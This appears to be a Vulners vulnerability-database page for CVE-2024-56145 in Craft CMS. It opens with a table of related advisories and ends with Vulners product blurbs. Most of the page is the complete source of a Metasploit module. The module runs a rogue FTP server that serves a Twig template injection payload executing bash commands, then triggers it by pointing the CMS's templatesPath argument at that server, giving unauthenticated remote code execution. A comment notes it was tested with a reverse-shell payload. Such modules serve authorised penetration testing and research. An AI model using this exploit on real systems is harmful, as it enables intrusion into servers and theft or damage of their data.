| Reporter | Title | Published | Views | Family All 32 |
|---|---|---|---|---|
| Exploit for Code Injection in Craftcms Craft_Cms | 20 Dec 202403:34 | – | githubexploit | |
| Exploit for Code Injection in Craftcms Craft_Cms | 6 Apr 202510:16 | – | githubexploit | |
| Exploit for Code Injection in Craftcms Craft_Cms | 22 Dec 202411:53 | – | githubexploit | |
| Craft CMS Twig Template Injection / Remote Code Execution Exploit | 27 Jan 202500:00 | – | zdt | |
| CVE-2024-56145 | 18 Dec 202400:00 | – | attackerkb | |
| CVE-2024-56145 | 18 Dec 202422:54 | – | circl | |
| Craft CMS Code Injection Vulnerability | 2 Jun 202500:00 | – | cisa_kev | |
| CISA Adds Five Known Exploited Vulnerabilities to Catalog | 2 Jun 202512:00 | – | cisa | |
| Craft CMS 代码注入漏洞 | 18 Dec 202400:00 | – | cnnvd | |
| Craft CMS Unauthenticated Remote Code Execution Vulnerability | 25 Dec 202400:00 | – | cnvd |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::FtpServer
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Craft CMS Twig Template Injection RCE via FTP Templates Path',
'Description' => %q{
This module exploits a Twig template injection vulnerability in Craft CMS by abusing the --templatesPath argument.
The vulnerability allows arbitrary template loading via FTP, leading to Remote Code Execution (RCE).
},
'Author' => [
'jheysel-r7', # Metasploit module
'Valentin Lobstein', # Refactor, Fix, and PoC
'AssetNote' # Vulnerability discovery
],
'References' => [
['CVE', '2024-56145'],
['URL', 'https://github.com/Chocapikk/CVE-2024-56145'],
['URL', 'https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms']
],
'Payload' => {
'BadChars' => "\x22\x27" # " and '
},
'License' => MSF_LICENSE,
'Privileged' => false,
'Targets' => [
[
'Unix/Linux Command Shell', {
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => '2024-12-19',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
end
def vulnerable_file_list
%w[/default/index.twig /default/index.html]
end
def get_payload
"{{ ['system', 'bash -c \"#{payload.encoded}\"'] | sort('call_user_func') }}"
end
def send_ftp_response(cli, code, message)
cli.put "#{code} #{message}\r\n"
vprint_status("-> #{code} #{message}")
end
def on_client_connect(cli)
@state[cli] = {
name: "#{cli.peerhost}:#{cli.peerport}",
ip: cli.peerhost,
port: cli.peerport,
user: nil,
pass: nil,
cwd: '/'
}
send_ftp_response(cli, 220, 'FTP Server Ready')
end
def on_client_command_user(cli, arg)
vprint_status('on_client_command_user')
if arg.downcase == 'anonymous'
@state[cli][:user] = 'anonymous'
send_ftp_response(cli, 331, 'Username ok, send password.')
else
send_ftp_response(cli, 530, 'Not logged in.')
end
end
def on_client_command_pass(cli, arg)
vprint_status('on_client_command_pass')
if @state[cli][:user] == 'anonymous'
@state[cli][:pass] = arg
send_ftp_response(cli, 230, 'Login successful.')
else
send_ftp_response(cli, 530, 'Not logged in.')
end
end
def on_client_command_cwd(cli, arg)
vprint_status('on_client_command_cwd')
if arg == '/default'
@state[cli][:cwd] = '/default'
send_ftp_response(cli, 250, "\"#{@state[cli][:cwd]}\" is current directory.")
else
send_ftp_response(cli, 550, 'Not a directory')
end
end
def on_client_command_type(cli, arg)
vprint_status('on_client_command_type')
if arg == 'I'
send_ftp_response(cli, 200, 'Type set to: Binary.')
else
send_ftp_response(cli, 500, 'Unknown type.')
end
end
def on_client_command_size(cli, arg)
vprint_status('on_client_command_size')
if vulnerable_file_list.include?(arg)
send_ftp_response(cli, 213, get_payload.length.to_s)
else
send_ftp_response(cli, 550, "#{arg} is not retrievable.")
end
end
def on_client_command_mdtm(cli, arg)
vprint_status('on_client_command_mdtm')
if vulnerable_file_list.include?(arg)
send_ftp_response(cli, 213, Time.now.strftime('%Y%m%d%H%M%S'))
else
send_ftp_response(cli, 550, "#{arg} is not retrievable.")
end
end
def on_client_command_epsv(cli, _arg)
vprint_status('on_client_command_epsv')
send_ftp_response(cli, 502, 'EPSV command not implemented.')
end
def on_client_command_retr(cli, arg)
vprint_status('on_client_command_retr')
if vulnerable_file_list.include?(arg)
conn = establish_data_connection(cli)
unless conn
send_ftp_response(cli, 425, "Can't open data connection.")
return
end
send_ftp_response(cli, 150, "Opening data connection for #{arg}")
conn.put(get_payload)
conn.close
send_ftp_response(cli, 226, 'Transfer complete.')
else
send_ftp_response(cli, 550, 'File not available.')
end
rescue IOError => e
vprint_error("Data transfer failed: #{e.message}")
send_ftp_response(cli, 425, 'Data transfer failed.')
end
def on_client_command_quit(cli, _arg)
vprint_status('on_client_command_quit')
send_ftp_response(cli, 221, 'Goodbye.')
end
def on_client_command_unknown(cli, cmd, arg)
vprint_status('on_client_command_unknown')
send_ftp_response(cli, 500, "'#{cmd} #{arg}': command not understood.")
end
def check
vprint_status('Performing vulnerability check...')
nonce = Rex::Text.rand_text_alphanumeric(8)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'method' => 'GET',
'vars_get' => { '--configPath' => "/#{nonce}" }
)
if res&.body&.include?('mkdir()') && res.body.include?(nonce)
CheckCode::Vulnerable('The target is vulnerable')
else
CheckCode::Safe('The target is not vulnerable')
end
end
def trigger_http_request
vprint_status('Triggering HTTP request...')
templates_path = "ftp://#{Rex::Socket.to_authority(srvhost_addr, srvport)}"
send_request_raw(
'uri' => normalize_uri(target_uri.path) + "?--templatesPath=#{templates_path}",
'method' => 'GET'
)
rescue StandardError => e
vprint_error("HTTP request failed: #{e.message}")
end
def start_ftp_service
if datastore['SSL'] == true
reset_ssl = true
datastore['SSL'] = false
end
start_service
if reset_ssl
datastore['SSL'] = true
end
end
def exploit
vprint_status('Starting FTP service...')
start_ftp_service
vprint_status("FTP server started on #{srvhost}:#{datastore['SRVPORT']}")
vprint_status('Sending HTTP request to trigger the payload...')
trigger_http_request
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation